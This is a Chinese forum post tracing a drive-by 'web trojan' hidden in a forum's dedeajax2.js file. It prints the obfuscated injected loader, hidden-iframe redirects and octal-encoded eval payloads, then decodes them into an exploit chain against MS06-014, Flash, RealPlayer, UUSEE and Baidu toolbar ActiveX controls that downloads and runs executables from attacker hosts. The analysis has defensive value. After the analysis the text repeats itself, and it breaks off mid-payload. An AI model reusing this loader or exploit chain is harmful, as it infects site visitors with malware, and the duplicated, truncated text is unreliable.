晚上在群里收到KV2006的举报,
据说中天 首页被挂马
并有会员举报
http://bbs.366tian.net/viewthread.php?tid=888957
马上打开
360确实提示有拦截到了的信息
但是太快
我没看清
说明确实存在
马上打开源文件
搜索 7# 发的地址
hxxp://user1.pang777.cn/news.html
无果
那究竟在哪里呢
我对网页木马了解不多
知道有 iframe 的,所以就查看了下
没有
我就想到了ajax.js,这个东西完全可以自己调用
所以就直接找到了
/include/dedeajax2.js
下载之
上边文字很正常,不至于啊
继续往下看
最后看到了
} // End Class DedeAjax // 这已经说明 DedeAjax 类已经结束了,那么下面的................
;var ss=document.cookie;
var aa=ss.indexOf("showtable");
var l="<";var r=">";var m="/";
if(aa!=-1){}else{var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie="showtable=true;expires="+expires.toGMTString();
document.write(l+"sc"+"ript src=ht"+"tp:"+m+m+"ww"+"w.lovettl."+"cn"+m+"tf"+m+"ad.j"+"s"+r+l+m+"sc"+"ript"+r);}; //这种书写方式就不像是正经的东西,添加了很多扰乱视线的东西,地址是:
// ::: <script src=hxxp://www.lovettl.cn/tf/ad.js></script>
.......其他的掠过
我只跟踪最终地址
好了,又得到了一个js,继续下载
内容如下:
function killErrors() {
return true;
}
window.onerror = killErrors;
document.write("<ifrAme sRc=hxxp://www.pang456.cn/e2.htm?yuange height=0></iFrame>");
ifrAme终于暴露了出来
内容:
<iframe src=hxxp://user1.pang777.cn/news.html width=50 height=0></iframe>
<script language="javascript" type="text/javascript" src="hxxp://js.users.51.la/1937313.js"></script>
继续 ifrAme
2个都下载回来看看
news.html
内容:
<SCRIPT>window.onerror=function(){return true;}</SCRIPT>
<SCRIPT LANGUAGE="JavaScript">
eval("\146\165\156\143\164\151\157\156\40\151\156\151\164\50\51\173\167\151\156\144\157\167\56\163\164\141\164\165\163\75\42\42\73\175\167\151\156\144\157\167\56\157\156\154\157\141\144\40\75\40\151\156\151\164\73\15\12\151\146\50\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\56\151\156\144\145\170\117\146\50\42\160\154\141\171\75\42\51\75\75\55\61\51\15\12\173\15\12\166\141\162\40\145\170\160\151\162\145\163\75\156\145\167\40\104\141\164\145\50\51\73\15\12\145\170\160\151\162\145\163\56\163\145\164\124\151\155\145\50\145\170\160\151\162\145\163\56\147\145\164\124\151\155\145\50\51\53\62\64\52\66\60\52\66\60\52\61\60\60\60\51\73\15\12\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\75\42\160\154\141\171\75\131\145\163\73\160\141\164\150\75\57\73\145\170\160\151\162\145\163\75\42\53\145\170\160\151\162\145\163\56\164\157\107\115\124\123\164\162\151\156\147\50\51\73\15\12\151\146\50\156\141\166\151\147\141\164\157\162\56\165\163\145\162\101\147\145\156\164\56\164\157\114\157\167\145\162\103\141\163\145\50\51\56\151\156\144\145\170\117\146\50\42\155\163\151\145\42\51\76\60\51\15\12\173\15\12\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\42\74\151\106\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\165\163\145\162\61\56\160\141\156\147\67\67\67\56\143\156\57\151\154\151\156\153\56\150\164\155\154\40\167\151\144\164\150\75\61\60\60\40\150\145\151\147\150\164\75\60\76\74\57\151\146\162\141\155\145\76\42\51\73\15\12\175\15\12\145\154\163\145\173\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\42\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\165\163\145\162\61\56\160\141\156\147\67\67\67\56\143\156\57\146\154\151\156\153\56\150\164\155\154\40\167\151\144\164\150\75\61\60\60\40\150\145\151\147\150\164\75\60\76\74\57\151\146\162\141\155\145\76\42\51\73\175\15\12\175")
</SCRIPT>
<SCRIPT LANGUAGE="JavaScript">
eval("\164\162\171\173\166\141\162\40\145\73\15\12\166\141\162\40\141\144\157\75\50\144\157\143\165\155\145\156\164\56\143\162\145\141\164\145\105\154\145\155\145\156\164\50\42\157\142\152\145\143\164\42\51\51\73\15\12\151\146\50\156\141\166\151\147\141\164\157\162\56\165\163\145\162\101\147\145\156\164\56\164\157\114\157\167\145\162\103\141\163\145\50\51\56\151\156\144\145\170\117\146\50\42\155\163\151\145\40\67\42\51\75\75\55\61\51\15\12\141\144\157\56\163\145\164\101\164\164\162\151\142\165\164\145\50\42\143\154\141\163\163\151\144\42\54\42\143\154\163\151\144\72\102\104\71\66\103\65\65\66\55\66\65\101\63\55\61\61\104\60\55\71\70\63\101\55\60\60\103\60\64\106\103\62\71\105\63\66\42\51\73\15\12\166\141\162\40\141\163\75\141\144\157\56\143\162\145\141\164\145\157\142\152\145\143\164\50\42\101\144\157\144\142\56\123\164\162\145\141\155\42\54\42\42\51\175\15\12\143\141\164\143\150\50\145\51\173\175\73\15\12\146\151\156\141\154\154\171\173\15\12\151\146\50\145\41\75\42\133\157\142\152\145\143\164\40\105\162\162\157\162\135\42\51\173\15\12\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\42\74\163\143\162\151\160\164\40\163\162\143\75\150\164\164\160\72\134\57\134\57\165\163\145\162\61\56\160\141\156\147\67\67\67\56\143\156\134\57\155\163\60\66\60\61\64\56\152\163\76\74\134\57\163\143\162\151\160\164\76\42\51\175\15\12\145\154\163\145\173\15\12\164\162\171\173\166\141\162\40\146\73\15\12\166\141\162\40\106\154\141\163\150\166\145\162\40\75\40\156\145\167\40\101\143\164\151\166\145\130\117\142\152\145\143\164\50\42\123\150\157\143\153\167\141\166\145\106\154\141\163\150\56\123\150\157\143\153\167\141\166\145\106\154\141\163\150\56\71\42\51\73\175\15\12\143\141\164\143\150\50\146\51\173\175\73\15\12\146\151\156\141\154\154\171\173\151\146\50\146\41\75\42\133\157\142\152\145\143\164\40\105\162\162\157\162\135\42\51\173\15\12\151\146\50\156\141\166\151\147\141\164\157\162\56\165\163\145\162\101\147\145\156\164\56\164\157\114\157\167\145\162\103\141\163\145\50\51\56\151\156\144\145\170\117\146\50\42\155\163\151\145\42\51\76\60\51\15\12\173\15\12\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\157\142\152\145\143\164\40\143\154\141\163\163\151\144\75\42\143\154\163\151\144\72\144\62\67\143\144\142\66\145\55\141\145\66\144\55\61\61\143\146\55\71\66\142\70\55\64\64\64\65\65\63\65\64\60\60\60\60\42\40\143\157\144\145\142\141\163\145\75\42\150\164\164\160\72\57\57\144\157\167\156\154\157\141\144\56\155\141\143\162\157\155\145\144\151\141\56\143\157\155\57\160\165\142\57\163\150\157\143\153\167\141\166\145\57\143\141\142\163\57\146\154\141\163\150\57\163\167\146\154\141\163\150\56\143\141\142\43\166\145\162\163\151\157\156\75\64\54\60\54\61\71\54\60\42\40\167\151\144\164\150\75\42\60\42\40\150\145\151\147\150\164\75\42\60\42\40\141\154\151\147\156\75\42\155\151\144\144\154\145\42\76\47\51\73\15\12\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\160\141\162\141\155\40\156\141\155\145\75\42\141\154\154\157\167\123\143\162\151\160\164\101\143\143\145\163\163\42\40\166\141\154\165\145\75\42\163\141\155\145\104\157\155\141\151\156\42\76\47\51\73\15\12\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\160\141\162\141\155\40\156\141\155\145\75\42\155\157\166\151\145\42\40\166\141\154\165\145\75\42\150\164\164\160\72\57\57\165\163\145\162\61\56\160\141\156\147\67\67\67\56\143\156\57\151\145\56\163\167\146\42\76\47\51\73\15\12\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\160\141\162\141\155\40\156\141\155\145\75\42\161\165\141\154\151\164\171\42\40\166\141\154\165\145\75\42\150\151\147\150\42\76\47\51\73\15\12\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\160\141\162\141\155\40\156\141\155\145\75\42\142\147\143\157\154\157\162\42\40\166\141\154\165\145\75\42\43\146\146\146\146\146\146\42\76\47\51\73\15\12\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\145\155\142\145\144\40\163\162\143\75\42\150\164\164\160\72\57\57\165\163\145\162\61\56\160\141\156\147\67\67\67\56\143\156\57\151\145\56\163\167\146\42\76\47\51\73\15\12\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\57\157\142\152\145\143\164\76\47\51\73\15\12\175\145\154\163\145\173\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\42\74\105\115\102\105\104\40\163\162\143\75\150\164\164\160\72\57\57\165\163\145\162\61\56\160\141\156\147\67\67\67\56\143\156\57\146\146\56\163\167\146\40\167\151\144\164\150\75\60\40\150\145\151\147\150\164\75\60\76\42\51\175\175\175\15\12\164\162\171\173\166\141\162\40\147\73\15\12\166\141\162\40\163\164\157\162\155\75\156\145\167\40\101\143\164\151\166\145\130\117\142\152\145\143\164\50\42\134\170\65\65\134\170\65\65\134\170\65\65\134\170\65\60\134\170\64\67\134\170\65\62\134\170\64\61\134\170\64\64\134\170\64\65\134\170\62\145\134\170\65\65\134\170\65\65\134\170\65\65\134\170\67\60\134\170\66\67\134\170\67\62\134\170\66\61\134\170\66\64\134\170\66\65\134\170\64\63\134\170\67\64\134\170\67\62\134\170\66\143\134\170\62\145\134\170\63\61\42\51\73\175\15\12\143\141\164\143\150\50\147\51\173\175\73\15\12\146\151\156\141\154\154\171\173\151\146\50\147\41\75\42\133\157\142\152\145\143\164\40\105\162\162\157\162\135\42\51\173\15\12\166\141\162\40\165\162\154\75\42\150\164\164\160\72\57\57\165\163\145\162\61\56\160\141\156\147\67\67\67\56\143\156\57\42\73\15\12\163\164\157\162\155\75\50\144\157\143\165\155\145\156\164\56\143\162\145\141\164\145\105\154\145\155\145\156\164\50\42\134\170\66\146\134\170\66\62\134\170\66\141\134\170\66\65\134\170\66\63\134\170\67\64\42\51\51\73\15\12\101\143\164\151\166\145\120\145\162\154\75\42\134\170\62\144\134\170\63\61\134\170\64\63\134\170\63\65\134\170\63\71\134\170\62\144\134\170\63\64\134\170\64\62\134\170\64\62\134\170\64\62\134\170\62\144\134\170\63\70\134\170\64\65\134\170\63\70\42\73\15\12\147\145\164\123\160\162\141\171\123\154\151\144\145\75\42\134\170\63\61\134\170\62\144\134\170\63\66\134\170\64\65\134\170\63\70\134\170\63\63\134\170\64\66\134\170\63\70\134\170\63\62\134\170\64\63\134\170\63\70\134\170\63\61\134\170\63\63\134\170\64\62\42\73\15\12\150\145\154\154\157\167\157\162\154\144\62\101\144\144\162\145\163\163\75\42\134\170\66\63\134\170\66\143\134\170\67\63\134\170\66\71\134\170\66\64\134\170\63\141\134\170\63\62\134\170\64\63\134\170\64\61\134\170\64\63\134\170\64\64\134\170\63\67\134\170\64\62\134\170\64\62\42\73\15\12\163\164\157\162\155\56\163\145\164\101\164\164\162\151\142\165\164\145\50\42\134\170\66\63\134\170\66\143\134\170\66\61\134\170\67\63\134\170\67\63\134\170\66\71\134\170\66\64\42\54\150\145\154\154\157\167\157\162\154\144\62\101\144\144\162\145\163\163\53\101\143\164\151\166\145\120\145\162\154\53\147\145\164\123\160\162\141\171\123\154\151\144\145\51\15\12\163\164\157\162\155\133\42\134\170\65\65\134\170\67\60\134\170\66\64\134\170\66\61\134\170\67\64\134\170\66\65\42\135\50\42\134\134\120\162\157\147\162\141\155\40\106\151\154\145\163\134\134\103\157\155\155\157\156\40\106\151\154\145\163\134\134\165\165\163\145\145\134\134\42\40\54\165\162\154\53\42\134\170\65\65\134\170\65\65\134\170\62\145\134\170\66\71\134\170\66\145\134\170\66\71\42\54\42\42\54\61\51\175\175\15\12\164\162\171\173\166\141\162\40\150\73\15\12\166\141\162\40\147\154\167\157\162\154\144\75\156\145\167\40\101\143\164\151\166\145\130\117\142\152\145\143\164\50\42\134\170\64\67\134\170\64\143\134\170\64\71\134\170\64\65\134\170\64\64\134\170\66\146\134\170\67\67\134\170\66\145\134\170\62\145\134\170\64\71\134\170\64\65\134\170\64\64\134\170\66\146\134\170\67\67\134\170\66\145\134\170\62\145\134\170\63\61\42\51\73\175\15\12\143\141\164\143\150\50\150\51\173\175\73\15\12\146\151\156\141\154\154\171\173\151\146\50\150\41\75\42\133\157\142\152\145\143\164\40\105\162\162\157\162\135\42\51\173\15\12\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\164\171\154\145\75\144\151\163\160\154\141\171\72\156\157\156\145\40\163\162\143\75\42\150\164\164\160\72\57\57\165\163\145\162\61\56\160\141\156\147\67\67\67\56\143\156\57\107\114\127\117\122\114\104\56\150\164\155\154\42\76\74\57\151\146\162\141\155\145\76\47\51\175\175\15\12\164\162\171\173\166\141\162\40\151\73\15\12\166\141\162\40\162\145\141\154\75\156\145\167\40\101\143\164\151\166\145\130\117\142\152\145\143\164\50\42\111\105\122\120\103\164\154\56\111\105\122\120\103\164\154\56\61\42\51\73\175\15\12\143\141\164\143\150\50\151\51\173\175\73\15\12\146\151\156\141\154\154\171\173\151\146\50\151\41\75\42\133\157\142\152\145\143\164\40\105\162\162\157\162\135\42\51\173\15\12\151\146\50\156\145\167\40\101\143\164\151\166\145\130\117\142\152\145\143\164\50\42\111\105\122\120\103\164\154\56\111\105\122\120\103\164\154\56\61\42\51\56\120\154\141\171\145\162\120\162\157\160\145\162\164\171\50\42\120\122\117\104\125\103\124\126\105\122\123\111\117\116\42\51\74\75\42\66\56\60\56\61\64\56\65\65\62\42\51\15\12\173\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\164\171\154\145\75\144\151\163\160\154\141\171\72\156\157\156\145\40\163\162\143\75\42\150\164\164\160\72\57\57\165\163\145\162\61\56\160\141\156\147\67\67\67\56\143\156\57\122\145\141\154\61\60\56\150\164\155\154\42\76\74\57\151\146\162\141\155\145\76\47\51\175\15\12\145\154\163\145\173\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\163\164\171\154\145\75\144\151\163\160\154\141\171\72\156\157\156\145\40\163\162\143\75\42\150\164\164\160\72\57\57\165\163\145\162\61\56\160\141\156\147\67\67\67\56\143\156\57\122\145\141\154\56\150\164\155\154\42\76\74\57\151\146\162\141\155\145\76\47\51\175\175\175\15\12\164\162\171\173\166\141\162\40\152\73\15\12\166\141\162\40\102\141\151\144\165\75\156\145\167\40\101\143\164\151\166\145\130\117\142\152\145\143\164\50\42\102\141\151\144\165\102\141\162\56\124\157\157\154\42\51\73\175\15\12\143\141\164\143\150\50\152\51\173\175\73\15\12\146\151\156\141\154\154\171\173\151\146\50\152\41\75\42\133\157\142\152\145\143\164\40\105\162\162\157\162\135\42\51\173\15\12\102\141\151\144\165\133\42\134\170\64\64\134\170\66\143\134\170\66\146\134\170\66\61\134\170\66\64\134\170\64\64\134\170\65\63\42\135\50\42\150\164\164\160\72\57\57\165\163\145\162\61\56\160\141\156\147\67\67\67\56\143\156\57\102\141\151\144\165\56\143\141\142\42\54\40\42\102\141\151\144\165\56\145\170\145\42\54\40\60\51\175\175\15\12\151\146\50\146\75\75\42\133\157\142\152\145\143\164\40\105\162\162\157\162\135\42\40\46\46\40\147\75\75\42\133\157\142\152\145\143\164\40\105\162\162\157\162\135\42\40\46\46\40\150\75\75\42\133\157\142\152\145\143\164\40\105\162\162\157\162\135\42\40\46\46\40\151\75\75\42\133\157\142\152\145\143\164\40\105\162\162\157\162\135\42\51\15\12\173\15\12\164\162\171\173\151\146\50\156\145\167\40\101\143\164\151\166\145\130\117\142\152\145\143\164\50\42\104\120\103\154\151\145\156\164\56\126\157\144\42\51\51\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\151\146\162\141\155\145\40\167\151\144\164\150\75\61\60\60\40\150\145\151\147\150\164\75\60\40\163\162\143\75\150\164\164\160\72\57\57\165\163\145\162\61\56\160\141\156\147\67\67\67\56\143\156\57\124\150\165\156\144\145\162\56\150\164\155\154\76\74\57\151\146\162\141\155\145\76\47\51\175\143\141\164\143\150\50\145\51\173\175\15\12\175\175\175")
</SCRIPT>
这个是什么困扰了我很久
ICEBOY告诉我是Unescape
所以就用百度搜了段vb Unescape
自己动手还是好啊
呵呵
解开后:
第一段:
function init(){window.status="";}window.onload = init;
if(document.cookie.indexOf("play=")==-1)
{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie="play=Yes;path=/;expires="+expires.toGMTString();
if(navigator.userAgent.toLowerCase().indexOf("msie")>0)
{
document.write("<iFrame src=hxxp://user1.pang777.cn/ilink.html width=100 height=0></iframe>");
}
else{document.write("<iframe src=hxxp://user1.pang777.cn/flink.html width=100 height=0></iframe>");}
}
第二段:
try{var e;
var ado=(document.createElement("object"));
if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
if(e!="[object Error]"){
document.write("<script src=hxxp:\/\/user1.pang777.cn\/ms06014.js><\/script>")}
else{
try{var f;
var Flashver = new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9");}
catch(f){};
finally{if(f!="[object Error]"){
if(navigator.userAgent.toLowerCase().indexOf("msie")>0)
{
document.write('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="hxxp://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,19,0" width="0" height="0" align="middle">');
document.write('<param name="allowScriptAccess" value="sameDomain">');
document.write('<param name="movie" value="hxxp://user1.pang777.cn/ie.swf">');
document.write('<param name="quality" value="high">');
document.write('<param name="bgcolor" value="#ffffff">');
document.write('<embed src="hxxp://user1.pang777.cn/ie.swf">');
document.write('</object>');
}else{document.write("<EMBED src=hxxp://user1.pang777.cn/ff.swf width=0 height=0>")}}}
try{var g;
var storm=new ActiveXObject("\x55\x55\x55\x50\x47\x52\x41\x44\x45\x2e\x55\x55\x55\x70\x67\x72\x61\x64\x65\x43\x74\x72\x6c\x2e\x31");}
catch(g){};
finally{if(g!="[object Error]"){
var url="hxxp://user1.pang777.cn/";
storm=(document.createElement("\x6f\x62\x6a\x65\x63\x74"));
ActivePerl="\x2d\x31\x43\x35\x39\x2d\x34\x42\x42\x42\x2d\x38\x45\x38";
getSpraySlide="\x31\x2d\x36\x45\x38\x33\x46\x38\x32\x43\x38\x31\x33\x42";
helloworld2Address="\x63\x6c\x73\x69\x64\x3a\x32\x43\x41\x43\x44\x37\x42\x42";
storm.setAttribute("\x63\x6c\x61\x73\x73\x69\x64",helloworld2Address+ActivePerl+getSpraySlide)
storm["\x55\x70\x64\x61\x74\x65"]("\\Program Files\\Common Files\\uusee\\" ,url+"\x55\x55\x2e\x69\x6e\x69","",1)}}
try{var h;
var glworld=new ActiveXObject("\x47\x4c\x49\x45\x44\x6f\x77\x6e\x2e\x49\x45\x44\x6f\x77\x6e\x2e\x31");}
catch(h){};
finally{if(h!="[object Error]"){
document.write('<iframe style=display:none src="hxxp://user1.pang777.cn/GLWORLD.html"></iframe>')}}
try{var i;
var real=new ActiveXObject("IERPCtl.IERPCtl.1");}
catch(i){};
finally{if(i!="[object Error]"){
if(new ActiveXObject("IERPCtl.IERPCtl.1").PlayerProperty("PRODUCTVERSION")<="6.0.14.552")
{document.write('<iframe style=display:none src="hxxp://user1.pang777.cn/Real10.html"></iframe>')}
else{document.write('<iframe style=display:none src="hxxp://user1.pang777.cn/Real.html"></iframe>')}}}
try{var j;
var Baidu=new ActiveXObject("BaiduBar.Tool");}
catch(j){};
finally{if(j!="[object Error]"){
Baidu["\x44\x6c\x6f\x61\x64\x44\x53"]("hxxp://user1.pang777.cn/Baidu.cab", "Baidu.exe", 0)}}
if(f=="[object Error]" && g=="[object Error]" && h=="[object Error]" && i=="[object Error]")
{
try{if(new ActiveXObject("DPClient.Vod"))document.write('<iframe width=100 height=0 src=hxxp://user1.pang777.cn/Thunder.html></iframe>')}catch(e){}
}}}
真是找了一切可以利用的漏洞啊,好像提到了 UUSEE , BaiduTool ,Real10 , 漏洞编号为ms06014 的Flash漏洞
总之很复杂,绕了很大的圈子
我就研究到这吧
接下来大家继续
高手继续吧
据说
并有会员举报
http://bbs.366tian.net/viewthread.php?tid=888957
马上打开
360确实提示有拦截到了的信息
但是太快
我没看清
说明确实存在
马上打开源文件
搜索 7# 发的地址
hxxp://user1.pang777.cn/news.html
无果
那究竟在哪里呢
我对网页木马了解不多
知道有 iframe 的,所以就查看了下
没有
我就想到了ajax.js,这个东西完全可以自己调用
所以就直接找到了
/include/dedeajax2.js
下载之
上边文字很正常,不至于啊
继续往下看
最后看到了
} // End Class DedeAjax // 这已经说明 DedeAjax 类已经结束了,那么下面的................
;var ss=document.cookie;
var aa=ss.indexOf("showtable");
var l="<";var r=">";var m="/";
if(aa!=-1){}else{var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie="showtable=true;expires="+expires.toGMTString();
document.write(l+"sc"+"ript src=ht"+"tp:"+m+m+"ww"+"w.lovettl."+"cn"+m+"tf"+m+"ad.j"+"s"+r+l+m+"sc"+"ript"+r);}; //这种书写方式就不像是正经的东西,添加了很多扰乱视线的东西,地址是:
// ::: <script src=hxxp://www.lovettl.cn/tf/ad.js></script>
.......其他的掠过
我只跟踪最终地址
好了,又得到了一个js,继续下载
内容如下:
function killErrors() {
return true;
}
window.onerror = killErrors;
document.write("<ifrAme sRc=hxxp://www.pang456.cn/e2.htm?yuange height=0></iFrame>");
ifrAme终于暴露了出来
内容:
<iframe src=hxxp://user1.pang777.cn/news.html width=50 height=0></iframe>
<script language="javascript" type="text/javascript" src="hxxp://js.users.51.la/1937313.js"></script>
继续 ifrAme
2个都下载回来看看
news.html
内容:
<SCRIPT>window.onerror=function(){return true;}</SCRIPT>
<SCRIPT LANGUAGE="JavaScript">
eval("\146\165\156\143\164\151\157\156\40\151\156\151\164\50\51\173\167\151\156\144\157\167\56\163\164\141\164\165\163\75\42\42\73\175\167\151\156\144\157\167\56\157\156\154\157\141\144\40\75\40\151\156\151\164\73\15\12\151\146\50\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\56\151\156\144\145\170\117\146\50\42\160\154\141\171\75\42\51\75\75\55\61\51\15\12\173\15\12\166\141\162\40\145\170\160\151\162\145\163\75\156\145\167\40\104\141\164\145\50\51\73\15\12\145\170\160\151\162\145\163\56\163\145\164\124\151\155\145\50\145\170\160\151\162\145\163\56\147\145\164\124\151\155\145\50\51\53\62\64\52\66\60\52\66\60\52\61\60\60\60\51\73\15\12\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\75\42\160\154\141\171\75\131\145\163\73\160\141\164\150\75\57\73\145\170\160\151\162\145\163\75\42\53\145\170\160\151\162\145\163\56\164\157\107\115\124\123\164\162\151\156\147\50\51\73\15\12\151\146\50\156\141\166\151\147\141\164\157\162\56\165\163\145\162\101\147\145\156\164\56\164\157\114\157\167\145\162\103\141\163\145\50\51\56\151\156\144\145\170\117\146\50\42\155\163\151\145\42\51\76\60\51\15\12\173\15\12\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\42\74\151\106\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\165\163\145\162\61\56\160\141\156\147\67\67\67\56\143\156\57\151\154\151\156\153\56\150\164\155\154\40\167\151\144\164\150\75\61\60\60\40\150\145\151\147\150\164\75\60\76\74\57\151\146\162\141\155\145\76\42\51\73\15\12\175\15\12\145\154\163\145\173\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\42\74\151\146\162\141\155\145\40\163\162\143\75\150\164\164\160\72\57\57\165\163\145\162\61\56\160\141\156\147\67\67\67\56\143\156\57\146\154\151\156\153\56\150\164\155\154\40\167\151\144\164\150\75\61\60\60\40\150\145\151\147\150\164\75\60\76\74\57\151\146\162\141\155\145\76\42\51\73\175\15\12\175")
</SCRIPT>
<SCRIPT LANGUAGE="JavaScript">
eval("\164\162\171\173\166\141\162\40\145\73\15\12\166\141\162\40\141\144\157\75\50\144\157\143\165\155\145\156\164\56\143\162\145\141\164\145\105\154\145\155\145\156\164\50\42\157\142\152\145\143\164\42\51\51\73\15\12\151\146\50\156\141\166\151\147\141\164\157\162\56\165\163\145\162\101\147\145\156\164\56\164\157\114\157\167\145\162\103\141\163\145\50\51\56\151\156\144\145\170\117\146\50\42\155\163\151\145\40\67\42\51\75\75\55\61\51\15\12\141\144\157\56\163\145\164\101\164\164\162\151\142\165\164\145\50\42\143\154\141\163\163\151\144\42\54\42\143\154\163\151\144\72\102\104\71\66\103\65\65\66\55\66\65\101\63\55\61\61\104\60\55\71\70\63\101\55\60\60\103\60\64\106\103\62\71\105\63\66\42\51\73\15\12\166\141\162\40\141\163\75\141\144\157\56\143\162\145\141\164\145\157\142\152\145\143\164\50\42\101\144\157\144\142\56\123\164\162\145\141\155\42\54\42\42\51\175\15\12\143\141\164\143\150\50\145\51\173\175\73\15\12\146\151\156\141\154\154\171\173\15\12\151\146\50\145\41\75\42\133\157\142\152\145\143\164\40\105\162\162\157\162\135\42\51\173\15\12\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\42\74\163\143\162\151\160\164\40\163\162\143\75\150\164\164\160\72\134\57\134\57\165\163\145\162\61\56\160\141\156\147\67\67\67\56\143\156\134\57\155\163\60\66\60\61\64\56\152\163\76\74\134\57\163\143\162\151\160\164\76\42\51\175\15\12\145\154\163\145\173\15\12\164\162\171\173\166\141\162\40\146\73\15\12\166\141\162\40\106\154\141\163\150\166\145\162\40\75\40\156\145\167\40\101\143\164\151\166\145\130\117\142\152\145\143\164\50\42\123\150\157\143\153\167\141\166\145\106\154\141\163\150\56\123\150\157\143\153\167\141\166\145\106\154\141\163\150\56\71\42\51\73\175\15\12\143\141\164\143\150\50\146\51\173\175\73\15\12\146\151\156\141\154\154\171\173\151\146\50\146\41\75\42\133\157\142\152\145\143\164\40\105\162\162\157\162\135\42\51\173\15\12\151\146\50\156\141\166\151\147\141\164\157\162\56\165\163\145\162\101\147\145\156\164\56\164\157\114\157\167\145\162\103\141\163\145\50\51\56\151\156\144\145\170\117\146\50\42\155\163\151\145\42\51\76\60\51\15\12\173\15\12\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\157\142\152\145\143\164\40\143\154\141\163\163\151\144\75\42\143\154\163\151\144\72\144\62\67\143\144\142\66\145\55\141\145\66\144\55\61\61\143\146\55\71\66\142\70\55\64\64\64\65\65\63\65\64\60\60\60\60\42\40\143\157\144\145\142\141\163\145\75\42\150\164\164\160\72\57\57\144\157\167\156\154\157\141\144\56\155\141\143\162\157\155\145\144\151\141\56\143\157\155\57\160\165\142\57\163\150\157\143\153\167\141\166\145\57\143\141\142\163\57\146\154\141\163\150\57\163\167\146\154\141\163\150\56\143\141\142\43\166\145\162\163\151\157\156\75\64\54\60\54\61\71\54\60\42\40\167\151\144\164\150\75\42\60\42\40\150\145\151\147\150\164\75\42\60\42\40\141\154\151\147\156\75\42\155\151\144\144\154\145\42\76\47\51\73\15\12\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\160\141\162\141\155\40\156\141\155\145\75\42\141\154\154\157\167\123\143\162\151\160\164\101\143\143\145\163\163\42\40\166\141\154\165\145\75\42\163\141\155\145\104\157\155\141\151\156\42\76\47\51\73\15\12\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\160\141\162\141\155\40\156\141\155\145\75\42\155\157\166\151\145\42\40\166\141\154\165\145\75\42\150\164\164\160\72\57\57\165\163\145\162\61\56\160\141\156\147\67\67\67\56\143\156\57\151\145\56\163\167\146\42\76\47\51\73\15\12\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\160\141\162\141\155\40\156\141\155\145\75\42\161\165\141\154\151\164\171\42\40\166\141\154\165\145\75\42\150\151\147\150\42\76\47\51\73\15\12\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\160\141\162\141\155\40\156\141\155\145\75\42\142\147\143\157\154\157\162\42\40\166\141\154\165\145\75\42\43\146\146\146\146\146\146\42\76\47\51\73\15\12\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\145\155\142\145\144\40\163\162\143\75\42\150\164\164\160\72\57\57\165\163\145\162\61\56\160\141\156\147\67\67\67\56\143\156\57\151\145\56\163\167\146\42\76\47\51\73\15\12\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\47\74\57\157\142\152\145\143\164\76\47\51\73\15\12\175\145\154\163\145\173\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\42\74\105\115\102\105\104\40\163\162\143\75\150\164\164\160\72\57\57\165\163\145\162\61\56\160\141\156\147\67\67\67\56\143\156\57\146\146\56\163\167\146\40\167\151\144\164\150\75\60\40\150\145\151\147\150\164\75\60\76\42\51\175\175\175\15\12\164\162\171\173\166\141\162\40\147\73\15\12\166\141\162\40\163\164\157\162\155\75\156\145\167\40\101\143\164\151\166\145\130\117\142\152\145\143\164\50\42\134\170\65\65\134\170\65\65\134\170\65\65\134\170\65\60\134\170\64\67\134\170\65\62\134\170\64\61\134\170\64\64\134\170\64\65\134\170\62\145\134\170\65\65\134\170\65\65\134\170\65\65\134\170\67\60\134\170\66\67\134\170\67\62\134\170\66\61\134\170\66\64\134\170\66\65\134\170\64\63\134\170\67\64\134\170\67\62\134\170\66\143\134\170\62\145\134\170\63\61\42\51\73\175\15\12\143\141\164\143\150\50\147\51\173\175\73\15\12\146\151\156\141\154\154\171\173\151\146\50\147\41\75\42\133\157\142\152\145\143\164\40\105\162\162\157\162\135\42\51\173\15\12\166\141\162\40\165\162\154\75\42\150\164\164\160\72\57\57\165\163\145\162\61\56\160\141\156\147\67\67\67\56\143\156\57\42\73\15\12\163\164\157\162\155\75\50\144\157\1